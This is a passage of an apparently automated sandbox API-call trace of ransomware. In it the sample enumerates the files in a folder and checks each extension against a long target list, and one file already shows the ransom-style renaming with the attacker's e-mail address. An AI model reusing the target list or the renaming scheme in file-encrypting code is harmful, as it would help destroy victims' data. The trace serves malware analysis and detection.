	[0065.359] lstrcmpiW (lpString1=".jsp", lpString2=".GTF") returned 1
	[0065.360] lstrlenW (lpString=".kdc") returned 4
	[0065.360] lstrcmpiW (lpString1=".kdc", lpString2=".GTF") returned 1
	[0065.360] lstrlenW (lpString=".kmz") returned 4
	[0065.360] lstrcmpiW (lpString1=".kmz", lpString2=".GTF") returned 1
	[0065.360] lstrlenW (lpString=".kwm") returned 4
	[0065.360] lstrcmpiW (lpString1=".kwm", lpString2=".GTF") returned 1
	[0065.360] lstrlenW (lpString=".lasso") returned 6
	[0065.360] lstrcmpiW (lpString1=".lasso", lpString2="m].GTF") returned -1
	[0065.360] lstrlenW (lpString=".lbi") returned 4
	[0065.360] lstrcmpiW (lpString1=".lbi", lpString2=".GTF") returned 1
	[0065.360] lstrlenW (lpString=".lgf") returned 4
	[0065.360] lstrcmpiW (lpString1=".lgf", lpString2=".GTF") returned 1
	[0065.360] lstrlenW (lpString=".lgp") returned 4
	[0065.360] lstrcmpiW (lpString1=".lgp", lpString2=".GTF") returned 1
	[0065.360] lstrlenW (lpString=".log") returned 4
	[0065.360] lstrcmpiW (lpString1=".log", lpString2=".GTF") returned 1
	[0065.360] lstrlenW (lpString=".m1v") returned 4
	[0065.360] lstrcmpiW (lpString1=".m1v", lpString2=".GTF") returned 1
	[0065.360] lstrlenW (lpString=".m4a") returned 4
	[0065.360] lstrcmpiW (lpString1=".m4a", lpString2=".GTF") returned 1
	[0065.360] lstrlenW (lpString=".m4v") returned 4
	[0065.360] lstrcmpiW (lpString1=".m4v", lpString2=".GTF") returned 1
	[0065.360] lstrlenW (lpString=".max") returned 4
	[0065.360] lstrcmpiW (lpString1=".max", lpString2=".GTF") returned 1
	[0065.360] lstrlenW (lpString=".md") returned 3
	[0065.360] lstrcmpiW (lpString1=".md", lpString2="GTF") returned -1
	[0065.360] lstrlenW (lpString=".mda") returned 4
	[0065.360] lstrcmpiW (lpString1=".mda", lpString2=".GTF") returned 1
	[0065.360] lstrlenW (lpString=".mdb") returned 4
	[0065.360] lstrcmpiW (lpString1=".mdb", lpString2=".GTF") returned 1
	[0065.360] lstrlenW (lpString=".mde") returned 4
	[0065.360] lstrcmpiW (lpString1=".mde", lpString2=".GTF") returned 1
	[0065.360] lstrlenW (lpString=".mdf") returned 4
	[0065.360] lstrcmpiW (lpString1=".mdf", lpString2=".GTF") returned 1
	[0065.360] lstrlenW (lpString=".mdw") returned 4
	[0065.360] lstrcmpiW (lpString1=".mdw", lpString2=".GTF") returned 1
	[0065.360] lstrlenW (lpString=".mef") returned 4
	[0065.361] lstrcmpiW (lpString1=".mef", lpString2=".GTF") returned 1
	[0065.361] lstrlenW (lpString=".mft") returned 4
	[0065.361] lstrcmpiW (lpString1=".mft", lpString2=".GTF") returned 1
	[0065.361] lstrlenW (lpString=".mfw") returned 4
	[0065.361] lstrcmpiW (lpString1=".mfw", lpString2=".GTF") returned 1
	[0065.361] lstrlenW (lpString=".mht") returned 4
	[0065.361] lstrcmpiW (lpString1=".mht", lpString2=".GTF") returned 1
	[0065.361] lstrlenW (lpString=".mhtml") returned 6
	[0065.361] lstrcmpiW (lpString1=".mhtml", lpString2="m].GTF") returned -1
	[0065.361] lstrlenW (lpString=".mka") returned 4
	[0065.361] lstrcmpiW (lpString1=".mka", lpString2=".GTF") returned 1
	[0065.361] lstrlenW (lpString=".mkidx") returned 6
	[0065.361] lstrcmpiW (lpString1=".mkidx", lpString2="m].GTF") returned -1
	[0065.361] lstrlenW (lpString=".mkv") returned 4
	[0065.361] lstrcmpiW (lpString1=".mkv", lpString2=".GTF") returned 1
	[0065.361] lstrlenW (lpString=".mos") returned 4
	[0065.361] lstrcmpiW (lpString1=".mos", lpString2=".GTF") returned 1
	[0065.361] lstrlenW (lpString=".mov") returned 4
	[0065.361] lstrcmpiW (lpString1=".mov", lpString2=".GTF") returned 1
	[0065.361] lstrlenW (lpString=".mp3") returned 4
	[0065.361] lstrcmpiW (lpString1=".mp3", lpString2=".GTF") returned 1
	[0065.361] lstrlenW (lpString=".mp4") returned 4
	[0065.361] lstrcmpiW (lpString1=".mp4", lpString2=".GTF") returned 1
	[0065.361] lstrlenW (lpString=".mpeg") returned 5
	[0065.361] lstrcmpiW (lpString1=".mpeg", lpString2="].GTF") returned -1
	[0065.361] lstrlenW (lpString=".mpg") returned 4
	[0065.361] lstrcmpiW (lpString1=".mpg", lpString2=".GTF") returned 1
	[0065.361] lstrlenW (lpString=".mpv") returned 4
	[0065.361] lstrcmpiW (lpString1=".mpv", lpString2=".GTF") returned 1
	[0065.361] lstrlenW (lpString=".mrw") returned 4
	[0065.361] lstrcmpiW (lpString1=".mrw", lpString2=".GTF") returned 1
	[0065.361] lstrlenW (lpString=".msg") returned 4
	[0065.361] lstrcmpiW (lpString1=".msg", lpString2=".GTF") returned 1
	[0065.361] lstrlenW (lpString=".mxl") returned 4
	[0065.361] lstrcmpiW (lpString1=".mxl", lpString2=".GTF") returned 1
	[0065.361] lstrlenW (lpString=".myd") returned 4
	[0065.361] lstrcmpiW (lpString1=".myd", lpString2=".GTF") returned 1
	[0065.361] lstrlenW (lpString=".myi") returned 4
	[0065.362] lstrcmpiW (lpString1=".myi", lpString2=".GTF") returned 1
	[0065.362] lstrlenW (lpString=".nef") returned 4
	[0065.362] lstrcmpiW (lpString1=".nef", lpString2=".GTF") returned 1
	[0065.362] lstrlenW (lpString=".nrw") returned 4
	[0065.362] lstrcmpiW (lpString1=".nrw", lpString2=".GTF") returned 1
	[0065.362] lstrlenW (lpString=".obj") returned 4
	[0065.362] lstrcmpiW (lpString1=".obj", lpString2=".GTF") returned 1
	[0065.362] lstrlenW (lpString=".odb") returned 4
	[0065.362] lstrcmpiW (lpString1=".odb", lpString2=".GTF") returned 1
	[0065.362] lstrlenW (lpString=".odc") returned 4
	[0065.362] lstrcmpiW (lpString1=".odc", lpString2=".GTF") returned 1
	[0065.362] lstrlenW (lpString=".odm") returned 4
	[0065.362] lstrcmpiW (lpString1=".odm", lpString2=".GTF") returned 1
	[0065.362] lstrlenW (lpString=".odp") returned 4
	[0065.362] lstrcmpiW (lpString1=".odp", lpString2=".GTF") returned 1
	[0065.362] lstrlenW (lpString=".ods") returned 4
	[0065.362] lstrcmpiW (lpString1=".ods", lpString2=".GTF") returned 1
	[0065.362] lstrlenW (lpString=".oft") returned 4
	[0065.362] lstrcmpiW (lpString1=".oft", lpString2=".GTF") returned 1
	[0065.362] lstrlenW (lpString=".one") returned 4
	[0065.362] lstrcmpiW (lpString1=".one", lpString2=".GTF") returned 1
	[0065.362] lstrlenW (lpString=".onepkg") returned 7
	[0065.362] lstrcmpiW (lpString1=".onepkg", lpString2="om].GTF") returned -1
	[0065.362] lstrlenW (lpString=".onetoc2") returned 8
	[0065.362] lstrcmpiW (lpString1=".onetoc2", lpString2="com].GTF") returned -1
	[0065.362] lstrlenW (lpString=".opt") returned 4
	[0065.362] lstrcmpiW (lpString1=".opt", lpString2=".GTF") returned 1
	[0065.362] lstrlenW (lpString=".oqy") returned 4
	[0065.362] lstrcmpiW (lpString1=".oqy", lpString2=".GTF") returned 1
	[0065.362] lstrlenW (lpString=".orf") returned 4
	[0065.362] lstrcmpiW (lpString1=".orf", lpString2=".GTF") returned 1
	[0065.362] lstrlenW (lpString=".p12") returned 4
	[0065.362] lstrcmpiW (lpString1=".p12", lpString2=".GTF") returned 1
	[0065.362] lstrlenW (lpString=".p7b") returned 4
	[0065.362] lstrcmpiW (lpString1=".p7b", lpString2=".GTF") returned 1
	[0065.362] lstrlenW (lpString=".p7c") returned 4
	[0065.362] lstrcmpiW (lpString1=".p7c", lpString2=".GTF") returned 1
	[0065.362] lstrlenW (lpString=".pam") returned 4
	[0065.363] lstrcmpiW (lpString1=".pam", lpString2=".GTF") returned 1
	[0065.363] lstrlenW (lpString=".pbm") returned 4
	[0065.363] lstrcmpiW (lpString1=".pbm", lpString2=".GTF") returned 1
	[0065.363] lstrlenW (lpString=".pct") returned 4
	[0065.363] lstrcmpiW (lpString1=".pct", lpString2=".GTF") returned 1
	[0065.363] lstrlenW (lpString=".pcx") returned 4
	[0065.363] lstrcmpiW (lpString1=".pcx", lpString2=".GTF") returned 1
	[0065.363] lstrlenW (lpString=".pdd") returned 4
	[0065.363] lstrcmpiW (lpString1=".pdd", lpString2=".GTF") returned 1
	[0065.363] lstrlenW (lpString=".pdf") returned 4
	[0065.363] lstrcmpiW (lpString1=".pdf", lpString2=".GTF") returned 1
	[0065.363] lstrlenW (lpString=".pdp") returned 4
	[0065.363] lstrcmpiW (lpString1=".pdp", lpString2=".GTF") returned 1
	[0065.363] lstrlenW (lpString=".pef") returned 4
	[0065.363] lstrcmpiW (lpString1=".pef", lpString2=".GTF") returned 1
	[0065.363] lstrlenW (lpString=".pem") returned 4
	[0065.363] lstrcmpiW (lpString1=".pem", lpString2=".GTF") returned 1
	[0065.363] lstrlenW (lpString=".pff") returned 4
	[0065.363] lstrcmpiW (lpString1=".pff", lpString2=".GTF") returned 1
	[0065.363] lstrlenW (lpString=".pfm") returned 4
	[0065.363] lstrcmpiW (lpString1=".pfm", lpString2=".GTF") returned 1
	[0065.363] lstrlenW (lpString=".pfx") returned 4
	[0065.363] lstrcmpiW (lpString1=".pfx", lpString2=".GTF") returned 1
	[0065.363] lstrlenW (lpString=".pgm") returned 4
	[0065.363] lstrcmpiW (lpString1=".pgm", lpString2=".GTF") returned 1
	[0065.363] lstrlenW (lpString=".php") returned 4
	[0065.363] lstrcmpiW (lpString1=".php", lpString2=".GTF") returned 1
	[0065.363] lstrlenW (lpString=".php3") returned 5
	[0065.363] lstrcmpiW (lpString1=".php3", lpString2="].GTF") returned -1
	[0065.363] lstrlenW (lpString=".php4") returned 5
	[0065.363] lstrcmpiW (lpString1=".php4", lpString2="].GTF") returned -1
	[0065.363] lstrlenW (lpString=".php5") returned 5
	[0065.363] lstrcmpiW (lpString1=".php5", lpString2="].GTF") returned -1
	[0065.363] lstrlenW (lpString=".phtml") returned 6
	[0065.363] lstrcmpiW (lpString1=".phtml", lpString2="m].GTF") returned -1
	[0065.363] lstrlenW (lpString=".pict") returned 5
	[0065.363] lstrcmpiW (lpString1=".pict", lpString2="].GTF") returned -1
	[0065.364] lstrlenW (lpString=".pl") returned 3
	[0065.364] lstrcmpiW (lpString1=".pl", lpString2="GTF") returned -1
	[0065.364] lstrlenW (lpString=".pls") returned 4
	[0065.364] lstrcmpiW (lpString1=".pls", lpString2=".GTF") returned 1
	[0065.364] lstrlenW (lpString=".pm") returned 3
	[0065.364] lstrcmpiW (lpString1=".pm", lpString2="GTF") returned -1
	[0065.364] lstrlenW (lpString=".png") returned 4
	[0065.364] lstrcmpiW (lpString1=".png", lpString2=".GTF") returned 1
	[0065.364] lstrlenW (lpString=".pnm") returned 4
	[0065.364] lstrcmpiW (lpString1=".pnm", lpString2=".GTF") returned 1
	[0065.364] lstrlenW (lpString=".pot") returned 4
	[0065.364] lstrcmpiW (lpString1=".pot", lpString2=".GTF") returned 1
	[0065.364] lstrlenW (lpString=".potm") returned 5
	[0065.364] lstrcmpiW (lpString1=".potm", lpString2="].GTF") returned -1
	[0065.364] lstrlenW (lpString=".potx") returned 5
	[0065.364] lstrcmpiW (lpString1=".potx", lpString2="].GTF") returned -1
	[0065.364] lstrlenW (lpString=".ppa") returned 4
	[0065.364] lstrcmpiW (lpString1=".ppa", lpString2=".GTF") returned 1
	[0065.364] lstrlenW (lpString=".ppam") returned 5
	[0065.364] lstrcmpiW (lpString1=".ppam", lpString2="].GTF") returned -1
	[0065.364] lstrlenW (lpString=".ppm") returned 4
	[0065.364] lstrcmpiW (lpString1=".ppm", lpString2=".GTF") returned 1
	[0065.364] lstrlenW (lpString=".pps") returned 4
	[0065.364] lstrcmpiW (lpString1=".pps", lpString2=".GTF") returned 1
	[0065.364] lstrlenW (lpString=".ppsm") returned 5
	[0065.364] lstrcmpiW (lpString1=".ppsm", lpString2="].GTF") returned -1
	[0065.364] lstrlenW (lpString=".ppt") returned 4
	[0065.364] lstrcmpiW (lpString1=".ppt", lpString2=".GTF") returned 1
	[0065.364] lstrlenW (lpString=".pptm") returned 5
	[0065.364] lstrcmpiW (lpString1=".pptm", lpString2="].GTF") returned -1
	[0065.364] lstrlenW (lpString=".pptx") returned 5
	[0065.364] lstrcmpiW (lpString1=".pptx", lpString2="].GTF") returned -1
	[0065.364] lstrlenW (lpString=".prn") returned 4
	[0065.364] lstrcmpiW (lpString1=".prn", lpString2=".GTF") returned 1
	[0065.364] lstrlenW (lpString=".ps") returned 3
	[0065.364] lstrcmpiW (lpString1=".ps", lpString2="GTF") returned -1
	[0065.364] lstrlenW (lpString=".psb") returned 4
	[0065.364] lstrcmpiW (lpString1=".psb", lpString2=".GTF") returned 1
	[0065.365] lstrlenW (lpString=".psd") returned 4
	[0065.365] lstrcmpiW (lpString1=".psd", lpString2=".GTF") returned 1
	[0065.365] lstrlenW (lpString=".pst") returned 4
	[0065.365] lstrcmpiW (lpString1=".pst", lpString2=".GTF") returned 1
	[0065.365] lstrlenW (lpString=".ptx") returned 4
	[0065.365] lstrcmpiW (lpString1=".ptx", lpString2=".GTF") returned 1
	[0065.365] lstrlenW (lpString=".pub") returned 4
	[0065.365] lstrcmpiW (lpString1=".pub", lpString2=".GTF") returned 1
	[0065.365] lstrlenW (lpString=".pwm") returned 4
	[0065.365] lstrcmpiW (lpString1=".pwm", lpString2=".GTF") returned 1
	[0065.365] lstrlenW (lpString=".pxr") returned 4
	[0065.365] lstrcmpiW (lpString1=".pxr", lpString2=".GTF") returned 1
	[0065.365] lstrlenW (lpString=".py") returned 3
	[0065.365] lstrcmpiW (lpString1=".py", lpString2="GTF") returned -1
	[0065.365] lstrlenW (lpString=".qt") returned 3
	[0065.365] lstrcmpiW (lpString1=".qt", lpString2="GTF") returned -1
	[0065.365] lstrlenW (lpString=".r3d") returned 4
	[0065.365] lstrcmpiW (lpString1=".r3d", lpString2=".GTF") returned 1
	[0065.365] lstrlenW (lpString=".raf") returned 4
	[0065.365] lstrcmpiW (lpString1=".raf", lpString2=".GTF") returned 1
	[0065.365] lstrlenW (lpString=".rar") returned 4
	[0065.365] lstrcmpiW (lpString1=".rar", lpString2=".GTF") returned 1
	[0065.365] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9e3820aa, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e3820aa, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e3a83aa, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0065.365] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0065.365] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0065.365] FindClose (in: hFindFile=0x811fc8 | out: hFindFile=0x811fc8) returned 1
	[0065.366] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0065.366] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1
	[0065.366] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0065.366] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035") returned 26
	[0065.366] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9e3d5fb2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8120c8
	[0065.366] FindNextFileW (in: hFindFile=0x8120c8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9e3d5fb2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.366] FindNextFileW (in: hFindFile=0x8120c8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0065.366] lstrlenW (lpString="eula.rtf") returned 8
	[0065.366] lstrlenW (lpString=".1cd") returned 4
	[0065.366] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0065.366] lstrlenW (lpString=".3ds") returned 4
	[0065.366] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0065.366] lstrlenW (lpString=".3fr") returned 4
	[0065.366] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0065.366] lstrlenW (lpString=".3g2") returned 4
	[0065.366] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0065.366] lstrlenW (lpString=".3gp") returned 4
	[0065.366] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0065.366] lstrlenW (lpString=".7z") returned 3
	[0065.366] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0065.366] lstrlenW (lpString=".accda") returned 6
	[0065.366] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0065.366] lstrlenW (lpString=".accdb") returned 6
	[0065.366] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0065.366] lstrlenW (lpString=".accdc") returned 6
	[0065.366] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0065.366] lstrlenW (lpString=".accde") returned 6
	[0065.367] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0065.367] lstrlenW (lpString=".accdt") returned 6
	[0065.367] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0065.367] lstrlenW (lpString=".accdw") returned 6
	[0065.367] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0065.367] lstrlenW (lpString=".adb") returned 4
	[0065.367] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0065.367] lstrlenW (lpString=".adp") returned 4
	[0065.367] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0065.367] lstrlenW (lpString=".ai") returned 3
	[0065.367] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0065.367] lstrlenW (lpString=".ai3") returned 4
	[0065.367] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0065.367] lstrlenW (lpString=".ai4") returned 4
	[0065.367] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0065.367] lstrlenW (lpString=".ai5") returned 4
	[0065.367] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0065.367] lstrlenW (lpString=".ai6") returned 4
	[0065.367] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0065.367] lstrlenW (lpString=".ai7") returned 4
	[0065.367] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0065.367] lstrlenW (lpString=".ai8") returned 4
	[0065.367] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0065.367] lstrlenW (lpString=".anim") returned 5
	[0065.367] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0065.367] lstrlenW (lpString=".arw") returned 4
	[0065.367] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0065.367] lstrlenW (lpString=".as") returned 3
	[0065.367] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0065.367] lstrlenW (lpString=".asa") returned 4
	[0065.367] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0065.367] lstrlenW (lpString=".asc") returned 4
	[0065.367] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0065.367] lstrlenW (lpString=".ascx") returned 5
	[0065.367] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0065.367] lstrlenW (lpString=".asm") returned 4
	[0065.367] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0065.367] lstrlenW (lpString=".asmx") returned 5
	[0065.368] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0065.368] lstrlenW (lpString=".asp") returned 4
	[0065.368] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0065.368] lstrlenW (lpString=".aspx") returned 5
	[0065.368] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0065.368] lstrlenW (lpString=".asr") returned 4
	[0065.368] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0065.368] lstrlenW (lpString=".asx") returned 4
	[0065.368] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0065.368] lstrlenW (lpString=".avi") returned 4
	[0065.368] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0065.368] lstrlenW (lpString=".avs") returned 4
	[0065.368] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0065.368] lstrlenW (lpString=".backup") returned 7
	[0065.368] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0065.368] lstrlenW (lpString=".bak") returned 4
	[0065.368] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0065.368] lstrlenW (lpString=".bay") returned 4
	[0065.368] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0065.368] lstrlenW (lpString=".bd") returned 3
	[0065.368] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0065.368] lstrlenW (lpString=".bin") returned 4
	[0065.368] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0065.368] lstrlenW (lpString=".bmp") returned 4
	[0065.368] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0065.368] lstrlenW (lpString=".bz2") returned 4
	[0065.368] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0065.368] lstrlenW (lpString=".c") returned 2
	[0065.368] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0065.368] lstrlenW (lpString=".cdr") returned 4
	[0065.368] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0065.368] lstrlenW (lpString=".cer") returned 4
	[0065.368] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0065.368] lstrlenW (lpString=".cf") returned 3
	[0065.368] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0065.368] lstrlenW (lpString=".cfc") returned 4
	[0065.368] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0065.368] lstrlenW (lpString=".cfm") returned 4
	[0065.369] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0065.369] lstrlenW (lpString=".cfml") returned 5
	[0065.369] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0065.369] lstrlenW (lpString=".cfu") returned 4
	[0065.369] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0065.369] lstrlenW (lpString=".chm") returned 4
	[0065.369] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0065.369] lstrlenW (lpString=".cin") returned 4
	[0065.369] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0065.369] lstrlenW (lpString=".class") returned 6
	[0065.369] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0065.369] lstrlenW (lpString=".clx") returned 4
	[0065.369] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0065.369] lstrlenW (lpString=".config") returned 7
	[0065.369] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0065.369] lstrlenW (lpString=".cpp") returned 4
	[0065.369] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0065.369] lstrlenW (lpString=".cr2") returned 4
	[0065.369] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0065.369] lstrlenW (lpString=".crt") returned 4
	[0065.369] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0065.369] lstrlenW (lpString=".crw") returned 4
	[0065.369] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0065.369] lstrlenW (lpString=".cs") returned 3
	[0065.369] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0065.369] lstrlenW (lpString=".css") returned 4
	[0065.369] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0065.369] lstrlenW (lpString=".csv") returned 4
	[0065.369] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0065.369] lstrlenW (lpString=".cub") returned 4
	[0065.369] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0065.369] lstrlenW (lpString=".dae") returned 4
	[0065.369] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0065.369] lstrlenW (lpString=".dat") returned 4
	[0065.369] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0065.369] lstrlenW (lpString=".db") returned 3
	[0065.369] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0065.370] lstrlenW (lpString=".dbf") returned 4
	[0065.370] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0065.370] lstrlenW (lpString=".dbx") returned 4
	[0065.370] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0065.370] lstrlenW (lpString=".dc3") returned 4
	[0065.370] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0065.370] lstrlenW (lpString=".dcm") returned 4
	[0065.370] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0065.370] lstrlenW (lpString=".dcr") returned 4
	[0065.370] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0065.370] lstrlenW (lpString=".der") returned 4
	[0065.370] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0065.370] lstrlenW (lpString=".dib") returned 4
	[0065.370] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0065.370] lstrlenW (lpString=".dic") returned 4
	[0065.370] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0065.370] lstrlenW (lpString=".dif") returned 4
	[0065.370] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0065.370] lstrlenW (lpString=".divx") returned 5
	[0065.370] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0065.370] lstrlenW (lpString=".djvu") returned 5
	[0065.370] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0065.370] lstrlenW (lpString=".dng") returned 4
